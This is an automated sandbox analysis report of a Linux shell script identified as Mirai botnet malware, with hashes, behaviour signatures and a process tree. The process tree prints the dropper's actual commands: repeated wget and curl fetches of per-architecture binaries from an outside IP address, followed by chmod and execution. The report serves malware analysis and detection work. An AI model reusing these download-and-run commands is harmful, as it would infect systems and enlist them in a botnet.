Analysis
-
max time kernel
139s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
21-12-2024 07:41
Static task
static1
Behavioral task
behavioral1
Sample
1.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
1.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
1.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
1.sh
-
Size
2KB
-
MD5
5900bec79ec2bba33659f8a9dfe92eb6
-
SHA1
73ec8e41322311f983e35396c66fab7ab580aa72
-
SHA256
984686cc7b69066b7963531fa7948f8134fa9fd2f5beabcea849b2e5d852cbcc
-
SHA512
671afe06a8c6d5108d48010d0ff4697c514e0febcbfd602d2953f9e13469ea05761386b9500b5a4d52b57b45f7cc037282b657110676f52f2d95f54cc2896a42
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1501 chmod 1545 chmod 1587 chmod 1607 chmod 1627 chmod 1637 chmod 1647 chmod 1617 chmod 1525 chmod 1565 chmod 1507 chmod 1535 chmod 1555 chmod 1577 chmod 1597 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Space 1502 Space /tmp/Space 1508 Space /tmp/Space 1526 Space /tmp/Space 1536 Space /tmp/Space 1546 Space /tmp/Space 1556 Space /tmp/Space 1566 Space /tmp/Space 1578 Space /tmp/Space 1588 Space /tmp/Space 1598 Space /tmp/Space 1608 Space /tmp/Space 1618 Space /tmp/Space 1628 Space /tmp/Space 1638 Space /tmp/Space 1648 Space -
Modifies Watchdog functionality 1 TTPs 28 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space File opened for modification /dev/misc/watchdog Space File opened for modification /dev/watchdog Space -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 28 IoCs
description ioc Process File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /sbin/watchdog Space File opened for modification /bin/watchdog Space File opened for modification /sbin/watchdog Space -
resource yara_rule behavioral1/files/fstream-5.dat upx -
description ioc Process File opened for reading /proc/35/status Space File opened for reading /proc/1165/status Space File opened for reading /proc/468/status Space File opened for reading /proc/6/status Space File opened for reading /proc/1539/status Space File opened for reading /proc/23/status Space File opened for reading /proc/255/status Space File opened for reading /proc/1593/status Space File opened for reading /proc/206/status Space File opened for reading /proc/440/status Space File opened for reading /proc/30/status Space File opened for reading /proc/1479/status Space File opened for reading /proc/167/status Space File opened for reading /proc/457/status Space File opened for reading /proc/4/status Space File opened for reading /proc/464/status Space File opened for reading /proc/178/status Space File opened for reading /proc/1166/status Space File opened for reading /proc/464/status Space File opened for reading /proc/968/status Space File opened for reading /proc/163/status Space File opened for reading /proc/19/status Space File opened for reading /proc/465/status Space File opened for reading /proc/29/status Space File opened for reading /proc/1286/status Space File opened for reading /proc/468/status Space File opened for reading /proc/1/status Space File opened for reading /proc/173/status Space File opened for reading /proc/1303/status Space File opened for reading /proc/1476/status Space File opened for reading /proc/1151/status Space File opened for reading /proc/1591/status Space File opened for reading /proc/1138/status Space File opened for reading /proc/652/status Space File opened for reading /proc/1148/status Space File opened for reading /proc/23/status Space File opened for reading /proc/26/status Space File opened for reading /proc/1173/status Space File opened for reading /proc/207/status Space File opened for reading /proc/1134/status Space File opened for reading /proc/1252/status Space File opened for reading /proc/164/status Space File opened for reading /proc/1166/status Space File opened for reading /proc/1331/status Space File opened for reading /proc/1188/status Space File opened for reading /proc/1529/status Space File opened for reading /proc/172/status Space File opened for reading /proc/9/status Space File opened for reading /proc/175/status Space File opened for reading /proc/1286/status Space File opened for reading /proc/83/status Space File opened for reading /proc/670/status Space File opened for reading /proc/1623/status Space File opened for reading /proc/1601/status Space File opened for reading /proc/207/status Space File opened for reading /proc/1097/status Space File opened for reading /proc/1250/status Space File opened for reading /proc/1286/status Space File opened for reading /proc/1143/status Space File opened for reading /proc/524/status Space File opened for reading /proc/1573/status Space File opened for reading /proc/962/status Space File opened for reading /proc/13/status Space File opened for reading /proc/116/status Space -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1542 wget 1543 curl 1552 wget 1553 curl -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Space.arm5 wget File opened for modification /tmp/Space.ppc wget File opened for modification /tmp/Space.sh4 curl File opened for modification /tmp/Space.arm wget File opened for modification /tmp/Space.m68k curl File opened for modification /tmp/Space.sparc curl File opened for modification /tmp/Space.x86_64 wget File opened for modification /tmp/Space.arm5 curl File opened for modification /tmp/Space.x86_64 curl File opened for modification /tmp/Space.i686 wget File opened for modification /tmp/Space.arm6 wget File opened for modification /tmp/Space.arc wget File opened for modification /tmp/Space 1.sh File opened for modification /tmp/Space.arm curl File opened for modification /tmp/Space.arm6 curl File opened for modification /tmp/busybox cp File opened for modification /tmp/Space.x86 curl File opened for modification /tmp/Space.mips wget File opened for modification /tmp/Space.mips curl File opened for modification /tmp/Space.mpsl wget File opened for modification /tmp/Space.mpsl curl File opened for modification /tmp/Space.arm7 wget File opened for modification /tmp/Space.sh4 wget File opened for modification /tmp/Space.arc curl File opened for modification /tmp/Space.i686 curl File opened for modification /tmp/Space.arm7 curl File opened for modification /tmp/Space.ppc curl File opened for modification /tmp/Space.m68k wget File opened for modification /tmp/Space.x86 wget File opened for modification /tmp/Space.mips64 curl
Processes
-
/tmp/1.sh/tmp/1.sh1⤵
- Writes file to tmp directory
PID:1481 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to tmp directory
PID:1482
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:1483
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.arc2⤵
- Writes file to tmp directory
PID:1488
-
-
/bin/catcat Space.arc2⤵PID:1500
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1501
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
PID:1502
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:1504
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.x862⤵
- Writes file to tmp directory
PID:1505
-
-
/bin/catcat Space.x862⤵PID:1506
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.x86 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1507
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1508
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:1522
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.x86_642⤵
- Writes file to tmp directory
PID:1523
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1525
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1526
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:1532
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.i6862⤵
- Writes file to tmp directory
PID:1533
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1535
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1536
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1542
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1543
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.mips Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1545
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1546
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
PID:1552
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.mips642⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1553
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1555
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1556
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:1562
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.mpsl2⤵
- Writes file to tmp directory
PID:1563
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU2 systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-timedated.service-W6LMhF2⤵
- File and Directory Permissions Modification
PID:1565
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1566
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:1574
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.arm2⤵
- Writes file to tmp directory
PID:1575
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1577
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1578
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:1584
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.arm52⤵
- Writes file to tmp directory
PID:1585
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1587
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1588
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:1594
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.arm62⤵
- Writes file to tmp directory
PID:1595
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1597
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1598
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:1604
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.arm72⤵
- Writes file to tmp directory
PID:1605
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1607
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1608
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:1614
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.ppc2⤵
- Writes file to tmp directory
PID:1615
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1617
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1618
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.sparc2⤵PID:1624
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.sparc2⤵
- Writes file to tmp directory
PID:1625
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1627
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1628
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:1634
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.m68k2⤵
- Writes file to tmp directory
PID:1635
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sparc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1637
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1638
-
-
/usr/bin/wgetwget http://154.216.16.63/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:1644
-
-
/usr/bin/curlcurl -O http://154.216.16.63/hiddenbin/Space.sh42⤵
- Writes file to tmp directory
PID:1645
-
-
/bin/chmodchmod +x 1.sh busybox config-err-Zq653C netplan_vm7zfz3d snap-private-tmp Space Space.arc Space.arm Space.arm5 Space.arm6 Space.arm7 Space.i686 Space.m68k Space.mips Space.mips64 Space.mpsl Space.ppc Space.sh4 Space.sparc Space.x86 Space.x86_64 ssh-NVlOA3rp5DyP systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-bolt.service-yfWToM systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-colord.service-M2zA4P systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-ModemManager.service-CMtoMD systemd-private-5386ca9de5824f67bfdd1ec3656acb0b-systemd-resolved.service-cq0dU22⤵
- File and Directory Permissions Modification
PID:1647
-
-
/tmp/Space./Space2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:1648
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD5040ffa7428eb327e862d8ef760f9b0b7
SHA1a5d63558608159d11599e17fc22418e8d6be37e3
SHA256a0a8b1e5a745d6a769d6bad18629d8e3219220184b70c0bf35d57e677f15547e
SHA5128c17678e8b2bb096a01bcbf633fd0cde40b77519508165d8e6b1dc9634654156e6064ad1d67544b52bebbadcb2bdc3cccec301ff1fd6ce4750d0eb290be2087f
-
Filesize
113KB
MD52b28ad39d8447ff98e4880a5f4518f5d
SHA15829d16ccff2037972e268c6ec1c23737c641fa1
SHA25662456a156cd7b4ddc7254c08bb0c56d93480d8b72a21d045eb44da76fbc5fdba
SHA5123962452902afb695ab1cd060f6a2563fedf0c304bca7e5c8dd9af95a9e7bbaabdc08b7f4ba9d2dc463519bcb0a61c6f9357b3a172c10cca79bdbb2cf7984a86f
-
Filesize
2.0MB
MD5b4dede5fc0b1bad5cb8e901bde126b97
SHA110cbe9a418ad84a1ed297948539d37aeb58dd810
SHA256a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
SHA51245665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6